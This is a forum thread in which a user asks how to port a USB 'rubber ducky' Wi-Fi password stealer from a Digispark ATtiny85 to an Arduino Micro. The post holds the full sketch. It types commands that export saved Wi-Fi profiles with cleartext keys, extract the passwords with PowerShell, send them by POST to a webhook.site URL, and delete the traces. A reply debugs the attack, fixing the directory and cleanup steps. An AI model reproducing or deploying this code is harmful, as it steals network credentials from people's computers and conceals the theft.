Code for digispark attiny85 to code for arduino micro

Hello I bought myself an arduino micro. To create a rubbery duck usb. And found the right code is wifi stiller. But it is designed for DigSpark Attiny85. Is it possible to remake this code for arduino micro ATmega32U4. If yes how (Thanks in advance for the answers) (P.s sorry for possible spelling mistakes, I am not very good at english)
Code below:

#include "DigiKeyboard.h"

void setup() {
pinMode(1, OUTPUT); //LED on Model A
}

void loop() {

DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //start run
DigiKeyboard.delay(100);
DigiKeyboard.println("cmd /k mode con: cols=15 lines=1"); //smallest cmd window possible for trying to making it as less noticeable as possible
DigiKeyboard.delay(500);
DigiKeyboard.println("cd %temp%"); //Jumping to temporary dir
DigiKeyboard.delay(300);
DigiKeyboard.println("netsh wlan export profile key=clear"); //grabbing all the saved wifi passwd and saving them in temporary dir
DigiKeyboard.delay(500);
DigiKeyboard.println("powershell Select-String -Path Wi*.xml -Pattern 'keyMaterial' > Wi-Fi-PASS"); //Extracting all password and saving them in Wi-Fi-Pass file in temporary dir
DigiKeyboard.delay(500);
DigiKeyboard.println("powershell Invoke-WebRequest -Uri https://webhook.site/ -Method POST -InFile Wi-Fi-PASS"); //Submitting all passwords on hook
DigiKeyboard.delay(1000);
DigiKeyboard.println("del Wi-* /s /f /q"); //cleaning up all the mess
DigiKeyboard.delay(500);
DigiKeyboard.println("exit");
DigiKeyboard.delay(100);
digitalWrite(1, HIGH); //turn on led when program finishes
DigiKeyboard.delay(90000);
digitalWrite(1, LOW);
DigiKeyboard.delay(5000);

They're not popular projects here.

When starting powershell it's not in the proper directory. Please add first:

$TempDir = [System.IO.Path]::GetTempPath()
cd $TempDir

Also you have to create your own unique webhook first by visiting webhook.site and be aware you are now sending your wifi passwords to a website which might be visible to others....

Also deleting the temp files with all the passwords is not working. Change this to:
del WiFi-*

Please post the code in code tags.

This topic was automatically closed 180 days after the last reply. New replies are no longer allowed.